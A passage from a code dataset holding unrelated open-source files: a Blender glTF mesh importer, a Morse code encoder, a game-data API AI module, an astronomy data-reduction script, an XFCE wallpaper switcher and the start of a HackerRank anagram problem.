np.concatenate((loop_cols[col_i], cols))\n\n for idx, attr in enumerate(attributes):\n if attr in prim.attributes:\n attr_data = BinaryData.decode_accessor(gltf, prim.attributes[attr], cache=True)\n attribute_data[idx] = np.concatenate((attribute_data[idx], attr_data[unique_indices]))\n else:\n attr_data = np.zeros(\n (len(unique_indices), DataType.num_elements(attribute_type[attr])),\n dtype=ComponentType.to_numpy_dtype(attribute_component_type[attr])\n )\n attribute_data[idx] = np.concatenate((attribute_data[idx], attr_data))\n\n # Accessors are cached in case they are shared between primitives; clear\n # the cache now that all prims are done.\n gltf.decode_accessor_cache = {}\n\n if gltf.import_settings['merge_vertices']:\n vert_locs, vert_normals, vert_joints, vert_weights, \\\n sk_vert_locs, loop_vidxs, edge_vidxs, attribute_data = \\\n merge_duplicate_verts(\n vert_locs, vert_normals, vert_joints, vert_weights, \\\n sk_vert_locs, loop_vidxs, edge_vidxs, attribute_data\\\n )\n\n # ---------------\n # Convert all the arrays glTF -> Blender\n\n # Change from relative to absolute positions for morph locs\n for sk_locs in sk_vert_locs:\n sk_locs += vert_locs\n\n gltf.locs_batch_gltf_to_blender(vert_locs)\n gltf.normals_batch_gltf_to_blender(vert_normals)\n for sk_locs in sk_vert_locs:\n gltf.locs_batch_gltf_to_blender(sk_locs)\n\n if num_joint_sets and mesh_options.skin_into_bind_pose:\n skin_into_bind_pose(\n gltf, skin_idx, vert_joints, vert_weights,\n locs=[vert_locs] + sk_vert_locs,\n vert_normals=vert_normals,\n )\n\n for uvs in loop_uvs:\n uvs_gltf_to_blender(uvs)\n\n # ---------------\n # Start creating things\n\n mesh.vertices.add(len(vert_locs))\n mesh.vertices.foreach_set('co', squish(vert_locs))\n\n mesh.loops.add(len(loop_vidxs))\n mesh.loops.foreach_set('vertex_index', loop_vidxs)\n\n mesh.edges.add(len(edge_vidxs) // 2)\n mesh.edges.foreach_set('vertices', edge_vidxs)\n\n mesh.polygons.add(num_faces)\n\n # All polys are tris\n loop_starts = np.arange(0, 3 * num_faces, step=3)\n loop_totals = np.full(num_faces, 3)\n mesh.polygons.foreach_set('loop_start', loop_starts)\n mesh.polygons.foreach_set('loop_total', loop_totals)\n\n for uv_i in range(num_uvs):\n name = 'UVMap' if uv_i == 0 else 'UVMap.%03d' % uv_i\n layer = mesh.uv_layers.new(name=name)\n\n if layer is None:\n print(\"WARNING: UV map is ignored because the maximum number of UV layers has been reached.\")\n break\n\n layer.data.foreach_set('uv', squish(loop_uvs[uv_i]))\n\n for col_i in range(num_cols):\n name = 'Col' if col_i == 0 else 'Col.%03d' % col_i\n layer = mesh.vertex_colors.new(name=name)\n\n if layer is None:\n print(\"WARNING: Vertex colors are ignored because the maximum number of vertex color layers has been \"\n \"reached.\")\n break\n\n mesh.color_attributes[layer.name].data.foreach_set('color', squish(loop_cols[col_i]))\n\n # Make sure the first Vertex Color Attribute is the rendered one\n if num_cols > 0:\n mesh.color_attributes.render_color_index = 0\n\n # Skinning\n # TODO: this is slow :/\n if num_joint_sets and mesh_options.skinning:\n pyskin = gltf.data.skins[skin_idx]\n for i, node_idx in enumerate(pyskin.joints):\n bone = gltf.vnodes[node_idx]\n ob.vertex_groups.new(name=bone.blender_bone_name)\n\n vgs = list(ob.vertex_groups)\n\n for i in range(num_joint_sets):\n js = vert_joints[i].tolist() # tolist() is faster\n ws = vert_weights[i].tolist()\n for vi in range(len(vert_locs)):\n w0, w1, w2, w3 = ws[vi]\n j0, j1, j2, j3 = js[vi]\n if w0 != 0: vgs[j0].add((vi,), w0, 'REPLACE')\n if w1 != 0: vgs[j1].add((vi,), w1, 'REPLACE')\n if w2 != 0: vgs[j2].add((vi,), w2, 'REPLACE')\n if w3 != 0: vgs[j3].add((vi,), w3, 'REPLACE')\n\n # Shapekeys\n if num_shapekeys:\n ob.shape_key_add(name='Basis')\n mesh.shape_keys.name = mesh.name\n\n sk_i = 0\n for sk_name in pymesh.shapekey_names:\n if sk_name is None:\n continue\n\n ob.shape_key_add(name=sk_name)\n key_block = mesh.shape_keys.key_blocks[sk_name]\n key_block.data.foreach_set('co', squish(sk_vert_locs[sk_i]))\n\n sk_i += 1\n\n # ----\n # Assign materials to faces\n has_materials = any(prim.material is not None for prim in pymesh.primitives)\n # Even if no primitive have material, we need to create slots if some primitives have some variant\n if has_materials is False:\n has_materials = any(prim.extensions is not None and 'KHR_materials_variants' in prim.extensions.keys() for prim in pymesh.primitives)\n\n has_variant = prim.extensions is not None and 'KHR_materials_variants' in prim.extensions.keys() \\\n and 'mappings' in prim.extensions['KHR_materials_variants'].keys()\n\n if has_materials:\n material_indices = np.empty(num_faces, dtype=np.uint32)\n empty_material_slot_index = None\n f = 0\n\n for idx_prim, prim in enumerate(pymesh.primitives):\n if prim.material is not None:\n # Get the material\n pymaterial = gltf.data.materials[prim.material]\n vertex_color = 'COLOR_0' if ('COLOR_0' in prim.attributes) else None\n if vertex_color not in pymaterial.blender_material:\n BlenderMaterial.create(gltf, prim.material, vertex_color)\n material_name = pymaterial.blender_material[vertex_color]\n\n # Put material in slot (if not there)\n if not has_variant:\n if material_name not in mesh.materials:\n mesh.materials.append(bpy.data.materials[material_name])\n material_index = mesh.materials.find(material_name)\n else:\n # In case of variant, do not merge slots\n mesh.materials.append(bpy.data.materials[material_name])\n material_index = len(mesh.materials) - 1\n else:\n if not has_variant:\n if empty_material_slot_index is None:\n mesh.materials.append(None)\n empty_material_slot_index = len(mesh.materials) - 1\n material_index = empty_material_slot_index\n else:\n # In case of variant, do not merge slots\n mesh.materials.append(None)\n material_index = len(mesh.materials) - 1\n\n material_indices[f:f + prim.num_faces].fill(material_index)\n\n f += prim.num_faces\n\n # Manage variants\n if has_variant:\n\n # Store default material\n default_mat = mesh.gltf2_variant_default_materials.add()\n default_mat.material_slot_index = material_index\n default_mat.default_material = bpy.data.materials[material_name] if prim.material is not None else None\n\n for mapping in prim.extensions['KHR_materials_variants']['mappings']:\n # Store, for each variant, the material link to this primitive\n\n variant_primitive = mesh.gltf2_variant_mesh_data.add()\n variant_primitive.material_slot_index = material_index\n if 'material' not in mapping.keys():\n # Default material\n variant_primitive.material = None\n else:\n vertex_color = 'COLOR_0' if 'COLOR_0' in prim.attributes else None\n if str(mapping['material']) + str(vertex_color) not in gltf.variant_mapping.keys():\n BlenderMaterial.create(gltf, mapping['material'], vertex_color)\n variant_primitive.material = gltf.variant_mapping[str(mapping['material']) + str(vertex_color)]\n\n for variant in mapping['variants']:\n vari = variant_primitive.variants.add()\n vari.variant.variant_idx = variant\n\n mesh.polygons.foreach_set('material_index', material_indices)\n\n # Custom Attributes\n for idx, attr in enumerate(attributes):\n\n blender_attribute_data_type = get_attribute_type(\n attribute_component_type[attr],\n attribute_type[attr]\n )\n\n blender_attribute = mesh.attributes.new(attr, blender_attribute_data_type, 'POINT')\n if DataType.num_elements(attribute_type[attr]) == 1:\n blender_attribute.data.foreach_set('value', attribute_data[idx].flatten())\n elif DataType.num_elements(attribute_type[attr]) > 1:\n if blender_attribute_data_type in [\"BYTE_COLOR\", \"FLOAT_COLOR\"]:\n blender_attribute.data.foreach_set('color', attribute_data[idx].flatten())\n else:\n blender_attribute.data.foreach_set('vector', attribute_data[idx].flatten())\n\n # ----\n # Normals\n\n # Set polys smooth/flat\n set_poly_smoothing(gltf, pymesh, mesh, vert_normals, loop_vidxs)\n\n mesh.validate()\n has_loose_edges = len(edge_vidxs) != 0 # need to calc_loose_edges for them to show up\n mesh.update(calc_edges_loose=has_loose_edges)\n\n if has_normals:\n mesh.normals_split_custom_set_from_vertices(vert_normals)\n\n\ndef points_edges_tris(mode, indices):\n points = None\n edges = None\n tris = None\n\n if mode == 0:\n # POINTS\n points = indices\n\n elif mode == 1:\n # LINES\n # 1 3\n # / /\n # 0 2\n edges = indices\n\n elif mode == 2:\n # LINE LOOP\n # 1---2\n # / \\\n # 0-------3\n # in: 0123\n # out: 01122330\n edges = np.empty(2 * len(indices), dtype=np.uint32)\n edges[[0, -1]] = indices[[0, 0]] # 0______0\n edges[1:-1] = np.repeat(indices[1:], 2) # 01122330\n\n elif mode == 3:\n # LINE STRIP\n # 1---2\n # / \\\n # 0 3\n # in: 0123\n # out: 011223\n edges = np.empty(2 * len(indices) - 2, dtype=np.uint32)\n edges[[0, -1]] = indices[[0, -1]] # 0____3\n edges[1:-1] = np.repeat(indices[1:-1], 2) # 011223\n\n elif mode == 4:\n # TRIANGLES\n # 2 3\n # / \\ / \\\n # 0---1 4---5\n tris = indices\n\n elif mode == 5:\n # TRIANGLE STRIP\n # 0---2---4\n # \\ / \\ /\n # 1---3\n # TODO: numpyify\n def alternate(i, xs):\n even = i % 2 == 0\n return xs if even else (xs[0], xs[2], xs[1])\n tris = np.array([\n alternate(i, (indices[i], indices[i + 1], indices[i + 2]))\n for i in range(0, len(indices) - 2)\n ])\n tris = squish(tris)\n\n elif mode == 6:\n # TRIANGLE FAN\n # 3---2\n # / \\ / \\\n # 4---0---1\n # TODO: numpyify\n tris = np.array([\n (indices[0], indices[i], indices[i + 1])\n for i in range(1, len(indices) - 1)\n ])\n tris = squish(tris)\n\n else:\n raise Exception('primitive mode unimplemented: %d' % mode)\n\n return points, edges, tris\n\n\ndef squish(array):\n \"\"\"Squish nD array into 1D array (required by foreach_set).\"\"\"\n return array.reshape(array.size)\n\n\ndef colors_rgb_to_rgba(rgb):\n rgba = np.ones((len(rgb), 4), dtype=np.float32)\n rgba[:, :3] = rgb\n return rgba\n\ndef uvs_gltf_to_blender(uvs):\n # u,v -> u,1-v\n uvs[:, 1] *= -1\n uvs[:, 1] += 1\n\n\ndef skin_into_bind_pose(gltf, skin_idx, vert_joints, vert_weights, locs, vert_normals):\n # Skin each position/normal using the bind pose.\n # Skinning equation: vert' = sum_(j,w) w * joint_mat[j] * vert\n # where the sum is over all (joint,weight) pairs.\n\n # Calculate joint matrices\n joint_mats = []\n pyskin = gltf.data.skins[skin_idx]\n if pyskin.inverse_bind_matrices is not None:\n inv_binds = BinaryData.get_data_from_accessor(gltf, pyskin.inverse_bind_matrices)\n inv_binds = [gltf.matrix_gltf_to_blender(m) for m in inv_binds]\n else:\n inv_binds = [Matrix.Identity(4) for i in range(len(pyskin.joints))]\n bind_mats = [gltf.vnodes[joint].bind_arma_mat for joint in pyskin.joints]\n joint_mats = [bind_mat @ inv_bind for bind_mat, inv_bind in zip(bind_mats, inv_binds)]\n\n # TODO: check if joint_mats are all (approximately) 1, and skip skinning\n\n joint_mats = np.array(joint_mats, dtype=np.float32)\n\n # Compute the skinning matrices for every vert\n num_verts = len(locs[0])\n skinning_mats = np.zeros((num_verts, 4, 4), dtype=np.float32)\n weight_sums = np.zeros(num_verts, dtype=np.float32)\n for js, ws in zip(vert_joints, vert_weights):\n for i in range(4):\n skinning_mats += ws[:, i].reshape(len(ws), 1, 1) * joint_mats[js[:, i]]\n weight_sums += ws[:, i]\n\n # Some invalid files have 0 weight sum.\n # To avoid to have this vertices at 0.0 / 0.0 / 0.0\n # We set all weight ( aka 1.0 ) to the first bone\n zeros_indices = np.where(weight_sums == 0)[0]\n if zeros_indices.shape[0] > 0:\n print_console('ERROR', 'File is invalid: Some vertices are not assigned to bone(s) ')\n vert_weights[0][:, 0][zeros_indices] = 1.0 # Assign to first bone with all weight\n\n # Reprocess IBM for these vertices\n skinning_mats[zeros_indices] = np.zeros((4, 4), dtype=np.float32)\n for js, ws in zip(vert_joints, vert_weights):\n for i in range(4):\n skinning_mats[zeros_indices] += ws[:, i][zeros_indices].reshape(len(ws[zeros_indices]), 1, 1) * joint_mats[js[:, i][zeros_indices]]\n weight_sums[zeros_indices] += ws[:, i][zeros_indices]\n\n skinning_mats /= weight_sums.reshape(num_verts, 1, 1)\n\n skinning_mats_3x3 = skinning_mats[:, :3, :3]\n skinning_trans = skinning_mats[:, :3, 3]\n\n for vs in locs:\n vs[:] = mul_mats_vecs(skinning_mats_3x3, vs)\n vs[:] += skinning_trans\n\n if len(vert_normals) != 0:\n vert_normals[:] = mul_mats_vecs(skinning_mats_3x3, vert_normals)\n # Don't translate normals!\n normalize_vecs(vert_normals)\n\n\ndef mul_mats_vecs(mats, vecs):\n \"\"\"Given [m1,m2,...] and [v1,v2,...], returns [m1@v1,m2@v2,...]. 3D only.\"\"\"\n return np.matmul(mats, vecs.reshape(len(vecs), 3, 1)).reshape(len(vecs), 3)\n\n\ndef normalize_vecs(vectors):\n norms = np.linalg.norm(vectors, axis=1, keepdims=True)\n np.divide(vectors, norms, out=vectors, where=norms != 0)\n\n\ndef set_poly_smoothing(gltf, pymesh, mesh, vert_normals, loop_vidxs):\n num_polys = len(mesh.polygons)\n\n if gltf.import_settings['import_shading'] == \"FLAT\":\n # Polys are smooth by default, setting to flat\n mesh.shade_flat()\n return\n\n if gltf.import_settings['import_shading'] == \"SMOOTH\":\n poly_smooths = np.full(num_polys, True)\n f = 0\n for prim in pymesh.primitives:\n if 'NORMAL' not in prim.attributes:\n # Primitives with no NORMALs should use flat shading\n poly_smooths[f:f + prim.num_faces].fill(False)\n f += prim.num_faces\n mesh.polygons.foreach_set('use_smooth', poly_smooths)\n return\n\n assert gltf.import_settings['import_shading'] == \"NORMALS\"\n\n # Try to guess which polys should be flat based on the fact that all the\n # loop normals for a flat poly are = the poly's normal.\n\n poly_smooths = np.empty(num_polys, dtype=bool)\n\n poly_normals = np.empty(num_polys * 3, dtype=np.float32)\n mesh.polygons.foreach_get('normal', poly_normals)\n poly_normals = poly_normals.reshape(num_polys, 3)\n\n f = 0\n for prim in pymesh.primitives:\n if 'NORMAL' not in prim.attributes:\n # Primitives with no NORMALs should use flat shading\n poly_smooths[f:f + prim.num_faces].fill(False)\n f += prim.num_faces\n continue\n\n # Check the normals at the three corners against the poly normal.\n # Two normals are equal iff their dot product is 1.\n\n poly_ns = poly_normals[f:f + prim.num_faces]\n\n # Dot product against the first vertex normal in the tri\n vert_ns = vert_normals[loop_vidxs[3*f:3*(f + prim.num_faces):3]]\n dot_prods = np.sum(vert_ns * poly_ns, axis=1) # dot product\n smooth = (dot_prods <= 0.9999999)\n\n # Same for the second vertex, etc.\n vert_ns = vert_normals[loop_vidxs[3*f+1:3*(f + prim.num_faces):3]]\n dot_prods = np.sum(vert_ns * poly_ns, axis=1)\n np.logical_or(smooth, dot_prods <= 0.9999999, out=smooth)\n\n vert_ns = vert_normals[loop_vidxs[3*f+2:3*(f + prim.num_faces):3]]\n dot_prods = np.sum(vert_ns * poly_ns, axis=1)\n np.logical_or(smooth, dot_prods <= 0.9999999, out=smooth)\n\n poly_smooths[f:f + prim.num_faces] = smooth\n\n f += prim.num_faces\n\n mesh.polygons.foreach_set('use_smooth', poly_smooths)\n\n\ndef merge_duplicate_verts(vert_locs, vert_normals, vert_joints, vert_weights, sk_vert_locs, loop_vidxs, edge_vidxs, attribute_data):\n # This function attempts to invert the splitting done when exporting to\n # glTF. Welds together verts with the same per-vert data (but possibly\n # different per-loop data).\n #\n # Ideally normals would be treated as per-loop data, but that has problems,\n # so we currently treat the normal as per-vert.\n #\n # Strategy is simple: put all the per-vert data into an array of structs\n # (\"dots\"), dedupe with np.unique, then take all the data back out.\n\n # Very often two verts that \"morally\" should be merged will have normals\n # with very small differences. Round off the normals to smooth this over.\n if len(vert_normals) != 0:\n vert_normals *= 50000\n vert_normals[:] = np.trunc(vert_normals)\n vert_normals *= (1/50000)\n\n dot_fields = [('x', np.float32), ('y', np.float32), ('z', np.float32)]\n if len(vert_normals) != 0:\n dot_fields += [('nx', np.float32), ('ny', np.float32), ('nz', np.float32)]\n for i, _ in enumerate(vert_joints):\n dot_fields += [\n ('joint%dx' % i, np.uint32), ('joint%dy' % i, np.uint32),\n ('joint%dz' % i, np.uint32), ('joint%dw' % i, np.uint32),\n ('weight%dx' % i, np.float32), ('weight%dy' % i, np.float32),\n ('weight%dz' % i, np.float32), ('weight%dw' % i, np.float32),\n ]\n for i, _ in enumerate(sk_vert_locs):\n dot_fields += [\n ('sk%dx' % i, np.float32), ('sk%dy' % i, np.float32), ('sk%dz' % i, np.float32),\n ]\n dots = np.empty(len(vert_locs), dtype=np.dtype(dot_fields))\n\n dots['x'] = vert_locs[:, 0]\n dots['y'] = vert_locs[:, 1]\n dots['z'] = vert_locs[:, 2]\n if len(vert_normals) != 0:\n dots['nx'] = vert_normals[:, 0]\n dots['ny'] = vert_normals[:, 1]\n dots['nz'] = vert_normals[:, 2]\n for i, (joints, weights) in enumerate(zip(vert_joints, vert_weights)):\n dots['joint%dx' % i] = joints[:, 0]\n dots['joint%dy' % i] = joints[:, 1]\n dots['joint%dz' % i] = joints[:, 2]\n dots['joint%dw' % i] = joints[:, 3]\n dots['weight%dx' % i] = weights[:, 0]\n dots['weight%dy' % i] = weights[:, 1]\n dots['weight%dz' % i] = weights[:, 2]\n dots['weight%dw' % i] = weights[:, 3]\n for i, locs in enumerate(sk_vert_locs):\n dots['sk%dx' % i] = locs[:, 0]\n dots['sk%dy' % i] = locs[:, 1]\n dots['sk%dz' % i] = locs[:, 2]\n\n unique_dots, unique_ind, inv_indices = np.unique(dots, return_index=True, return_inverse=True)\n\n loop_vidxs = inv_indices[loop_vidxs]\n edge_vidxs = inv_indices[edge_vidxs]\n\n # We don't split vertices only because of custom attribute\n # If 2 vertices have same data (pos, normals, etc...) except custom attribute, we\n # keep 1 custom attribute, arbitrary\n for idx, i in enumerate(attribute_data):\n attribute_data[idx] = attribute_data[idx][unique_ind]\n\n vert_locs = np.empty((len(unique_dots), 3), dtype=np.float32)\n vert_locs[:, 0] = unique_dots['x']\n vert_locs[:, 1] = unique_dots['y']\n vert_locs[:, 2] = unique_dots['z']\n if len(vert_normals) != 0:\n vert_normals = np.empty((len(unique_dots), 3), dtype=np.float32)\n vert_normals[:, 0] = unique_dots['nx']\n vert_normals[:, 1] = unique_dots['ny']\n vert_normals[:, 2] = unique_dots['nz']\n for i in range(len(vert_joints)):\n vert_joints[i] = np.empty((len(unique_dots), 4), dtype=np.uint32)\n vert_joints[i][:, 0] = unique_dots['joint%dx' % i]\n vert_joints[i][:, 1] = unique_dots['joint%dy' % i]\n vert_joints[i][:, 2] = unique_dots['joint%dz' % i]\n vert_joints[i][:, 3] = unique_dots['joint%dw' % i]\n vert_weights[i] = np.empty((len(unique_dots), 4), dtype=np.float32)\n vert_weights[i][:, 0] = unique_dots['weight%dx' % i]\n vert_weights[i][:, 1] = unique_dots['weight%dy' % i]\n vert_weights[i][:, 2] = unique_dots['weight%dz' % i]\n vert_weights[i][:, 3] = unique_dots['weight%dw' % i]\n for i in range(len(sk_vert_locs)):\n sk_vert_locs[i] = np.empty((len(unique_dots), 3), dtype=np.float32)\n sk_vert_locs[i][:, 0] = unique_dots['sk%dx' % i]\n sk_vert_locs[i][:, 1] = unique_dots['sk%dy' % i]\n sk_vert_locs[i][:, 2] = unique_dots['sk%dz' % i]\n\n return vert_locs, vert_normals, vert_joints, vert_weights, sk_vert_locs, loop_vidxs, edge_vidxs, attribute_data\n","repo_name":"KhronosGroup/glTF-Blender-IO","sub_path":"addons/io_scene_gltf2/blender/imp/gltf2_blender_mesh.py","file_name":"gltf2_blender_mesh.py","file_ext":"py","file_size_in_byte":31622,"program_lang":"python","lang":"en","doc_type":"code","stars":1363,"dataset":"github-code","pt":"48"} +{"seq_id":"72003352467","text":"# Project of Morse Code Generator\n\ndef morseCode(text):\n # create a dictionary with the Morse code translations\n morse_code = {\n 'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', \n 'F': '..-.', 'G': '--.', 'H': '....', 'I': '..', 'J': '.---',\n 'K': '-.-', 'L': '.-..', 'M': '--', 'N': '-.', 'O': '---',\n 'P': '.--.', 'Q': '--.-', 'R': '.-.', 'S': '...', 'T': '-',\n 'U': '..-', 'V': '...-', 'W': '.--', 'X': '-..-', 'Y': '-.--',\n 'Z': '--..', '1': '.----', '2': '..---', '3': '...--',\n '4': '....-', '5': '.....', '6': '-....', '7': '--...',\n '8': '---..', '9': '----.', '0': '-----', ' ': '/'\n }\n\n # initialize an empty string for the encoded message\n encoded_message = ''\n\n # iterate through each character in the text\n for char in text:\n # get the Morse code translation for the character\n encoded_char = morse_code.get(char.upper())\n # add the encoded character to the encoded message\n encoded_message += encoded_char + ' '\n\n return encoded_message\n\n# test the function\nprint(morseCode('Avdhesh'))\n","repo_name":"Avdhesh-Varshney/PYTHON","sub_path":"Programs/MorseCodeGenerator.py","file_name":"MorseCodeGenerator.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19817917190","text":"from sqlalchemy.ext.asyncio import AsyncConnection\n\nfrom ...config import Settings\nfrom ...schemas.common import Language, Region\nfrom ...schemas.enums import AI_TIMING_NAME, AiTiming\nfrom ...schemas.gameenums import (\n AI_ACT_NUM_NAME,\n AI_ACT_TARGET_NAME,\n AI_ACT_TYPE_NAME,\n AI_COND_NAME,\n AiActType,\n NiceAiActNum,\n)\nfrom ...schemas.nice import NiceAi, NiceAiAct, NiceAiCollection, NiceSkill\nfrom ...schemas.raw import AiEntity, MstAiAct\nfrom ..raw import get_ai_collection\nfrom ..utils import get_traits_list\nfrom .skill import get_nice_skill_from_id\nfrom .td import get_nice_td_from_id\n\n\nsettings = Settings()\n\n\nasync def get_nice_ai_act(\n conn: AsyncConnection,\n region: Region,\n mstAiAct: MstAiAct,\n lang: Language = Language.jp,\n) -> NiceAiAct:\n nice_ai_act = NiceAiAct(\n id=mstAiAct.id,\n type=AI_ACT_TYPE_NAME[mstAiAct.type],\n target=AI_ACT_TARGET_NAME[mstAiAct.target],\n targetIndividuality=get_traits_list(mstAiAct.targetIndividuality),\n )\n if mstAiAct.type == AiActType.NOBLE_PHANTASM and len(mstAiAct.skillVals) >= 3:\n nice_ai_act.noblePhantasmId = mstAiAct.skillVals[0]\n nice_ai_act.noblePhantasmLv = mstAiAct.skillVals[1]\n nice_ai_act.noblePhantasmOc = mstAiAct.skillVals[2]\n nice_ai_act.noblePhantasm = await get_nice_td_from_id(\n conn, region, mstAiAct.skillVals[0], lang\n )\n elif len(mstAiAct.skillVals) >= 2:\n nice_ai_act.skillId = mstAiAct.skillVals[0]\n nice_ai_act.skillLv = mstAiAct.skillVals[1]\n nice_ai_act.skill = await get_nice_skill_from_id(\n conn, region, mstAiAct.skillVals[0], NiceSkill, lang\n )\n return nice_ai_act\n\n\nasync def get_nice_ai(\n conn: AsyncConnection,\n region: Region,\n one_ai: AiEntity,\n lang: Language = Language.jp,\n) -> NiceAi:\n nice_ai = NiceAi(\n id=one_ai.mstAi.id,\n idx=one_ai.mstAi.idx,\n actNumInt=one_ai.mstAi.actNum,\n actNum=AI_ACT_NUM_NAME.get(one_ai.mstAi.actNum, NiceAiActNum.unknown),\n priority=one_ai.mstAi.priority,\n probability=one_ai.mstAi.probability,\n cond=AI_COND_NAME[\n one_ai.mstAi.cond if one_ai.mstAi.cond >= 0 else -one_ai.mstAi.cond\n ],\n condNegative=one_ai.mstAi.cond < 0,\n vals=one_ai.mstAi.vals,\n aiAct=await get_nice_ai_act(conn, region, one_ai.mstAiAct, lang),\n avals=one_ai.mstAi.avals,\n parentAis=one_ai.parentAis,\n infoText=one_ai.mstAi.infoText,\n )\n if one_ai.mstAi.timing:\n nice_ai.timing = one_ai.mstAi.timing\n nice_ai.timingDescription = AI_TIMING_NAME.get(\n one_ai.mstAi.timing, AiTiming.unknown\n )\n return nice_ai\n\n\nasync def get_nice_ai_collection(\n conn: AsyncConnection,\n region: Region,\n ai_id: int,\n field: bool = False,\n lang: Language = Language.jp,\n) -> NiceAiCollection:\n full_ai = await get_ai_collection(conn, ai_id, field)\n return NiceAiCollection(\n mainAis=[await get_nice_ai(conn, region, ai, lang) for ai in full_ai.mainAis],\n relatedAis=[\n await get_nice_ai(conn, region, ai, lang) for ai in full_ai.relatedAis\n ],\n relatedQuests=full_ai.relatedQuests,\n )\n","repo_name":"atlasacademy/fgo-game-data-api","sub_path":"app/core/nice/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"48"} +{"seq_id":"73726981265","text":"import argparse\nimport os\nfrom FORSify.FORSify_setup import FORS_setup\nfrom FORSify.util import PypeIt_to_iraf\n\n\ndef parse_args():\n argparser = argparse.ArgumentParser(description=\"Script for running FORSify\")\n group = argparser.add_mutually_exclusive_group(required=True)\n group.add_argument(\n \"-r\", \"--root\", type=str, default=None, help=\"Raw data directory\"\n )\n\n argparser.add_argument(\n \"-c\",\n \"--chip\",\n default=1,\n type=int,\n choices=[1, 2],\n help=\"FORS detector ccd number; can be [1,2].\",\n )\n argparser.add_argument(\n \"-b\",\n \"--bias\",\n default=True,\n type=bool,\n help=\"Specifies whether bias frames are used or not. The default is True.\",\n )\n argparser.add_argument(\n \"-f\",\n \"--flat\",\n default=[\"illumflat\", \"pixelflat\", \"trace\"],\n help='File type of flat field images. Can be any combination of [\"illumflat\", \"pixelflat\", \"trace\"]',\n )\n argparser.add_argument(\n \"-s\",\n \"--sources\",\n default=0,\n type=int,\n help=\"Maximum number of sources to model/extract. An arbitrary number of sources can be specified with '0'.\",\n )\n argparser.add_argument(\n \"-v\",\n \"--verbosity\",\n type=int,\n default=2,\n help=\"Verbosity level between 0 [none] and 2 [all]\",\n )\n argparser.add_argument(\n \"-o\",\n \"--overwrite\",\n default=True,\n action=\"store_true\",\n help=\"Overwrite any existing files/directories\",\n )\n argparser.add_argument(\n \"-a\",\n \"--archival\",\n default=False,\n action=\"store_true\",\n help=\"If True, use archival calibration data instead.\",\n )\n argparser.add_argument(\n \"-m\",\n \"--masters\",\n default=True,\n action=\"store_true\",\n help=\"Reuses archival masters instead of recalibrating them. Requires --archival.\",\n )\n return argparser.parse_args()\n\n\ndef main(args):\n current_dir = os.getcwd()\n sort_dir = os.path.join(current_dir, \"setup_files\")\n FORSify = FORS_setup(sort_dir, args)\n FORSify.reduce()\n try:\n output_path = os.path.join(os.path.split(FORSify.working_dir)[0], \"Output\")\n os.mkdir(output_path)\n except FileExistsError:\n pass\n for key in FORSify.corresponding_files:\n new_file = key[:-5] + \"_f.fits\"\n converter = PypeIt_to_iraf(\n key,\n os.path.join(args.root, FORSify.corresponding_files[key]),\n output_name=str(os.path.join(output_path, os.path.split(new_file)[1])),\n linearize=True,\n overwrite=True,\n pixel=112,\n flux=True,\n )\n converter.convert()\n new_file = key[:-5] + \"_c.fits\"\n converter = PypeIt_to_iraf(\n key,\n os.path.join(args.root, FORSify.corresponding_files[key]),\n output_name=str(os.path.join(output_path, os.path.split(new_file)[1])),\n linearize=True,\n overwrite=True,\n pixel=112,\n flux=False,\n )\n converter.convert()\n","repo_name":"afloers/FORSIFY","sub_path":"FORSify/run_FORSify.py","file_name":"run_FORSify.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15214969421","text":"#!/usr/bin/env python\nDESCRIP = \"\"\" Simple desktop wallpaper switcher \"\"\"\nEPILOG = \\\n\"\"\" Switch wallpapers at interval, selecting from files passed on command line\n\ne.g. xfce_randback.py /path/to/file.jpg /path/to/file2.jpg --interval=30\n\"\"\"\n\nimport random\nfrom subprocess import check_call\nfrom time import sleep\nfrom argparse import ArgumentParser, RawDescriptionHelpFormatter\n\ndef main():\n # create the parser\n parser = ArgumentParser(description=DESCRIP,\n epilog=EPILOG,\n formatter_class=RawDescriptionHelpFormatter)\n # add the arguments\n parser.add_argument('files', nargs='+')\n parser.add_argument('-i', '--interval', default=60,\n help='Refresh interval in minutes')\n args = parser.parse_args()\n files = args.files\n time = float(args.interval) * 60\n print(\"Starting random wallpaper switcher; ctrl-C to stop\")\n while True:\n wall = random.choice(files)\n print(\"Changing to %s\" % wall)\n check_call('xfconf-query -c xfce4-desktop '\n '-p /backdrop/screen0/monitor0/image-path '\n '-s %s' % wall, shell=True)\n sleep(time)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"matthew-brett/myconfig","sub_path":"usr/bin/xfce_randback.py","file_name":"xfce_randback.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"38051788841","text":"# Two strings are anagrams of each other if the letters of one string can be\n# rearranged to form the other string. Given a string, find the number of pairs\n# of substrings of the string that are anagrams of each other.\n\n# Example\n\n# s = mom\n\n# The list of all anagrammatic pairs is [m, m], [mo, om] at positions [[0],\n# [2]], [[0, 1], [1, 2]], respectively.\n\n# Function Description\n\n# Complete the function sherlockAndAnagrams in the editor below.\n\n# sherlockAndAnagrams has the following parameter(s):\n\n# * string s: a string\n\n# Returns\n\n# * int: the number of unordered anagrammatic pairs of substrings in s\n\n# Input Format\n\n# The first line contains an integer q, the number of queries.\n# Each of the next q lines contains a string s to analyze.\n\n# Constraints\n\n# 1 <= q <= 10\n# 2 <= length of s <= 100\n\n# s contains only lowercase letters in the range ascii[a-z].\n\n# Sample Input 0\n\n# 2\n# abba\n# abcd\n\n# Sample Output 0\n\n# 4\n# 0\n\n# Explanation 0\n\n# The list of all anagrammatic pairs is [a, a], [ab, ba], [b, b] and [abb, bba]\n# at positions [[0], [3]], [[0, 1], [2, 3]], [[1], [2]] and [[0, 1, 2],\n# [1, 2, 3]] respectively.\n\n# No anagrammatic pairs exist in the second query as no character repeats.\n\n# Sample Input 1\n\n# 2\n# ifailuhkqq\n# kkkk\n\n# Sample Output 1\n\n# 3\n# 10\n\n# Explanation 1\n\n# For the first query, we have anagram pairs [i ,i], [q, q] and [ifa, fai] at\n# positions [[0], [3]], [[8], [9]] and [[0, 1, 2], [1, 2, 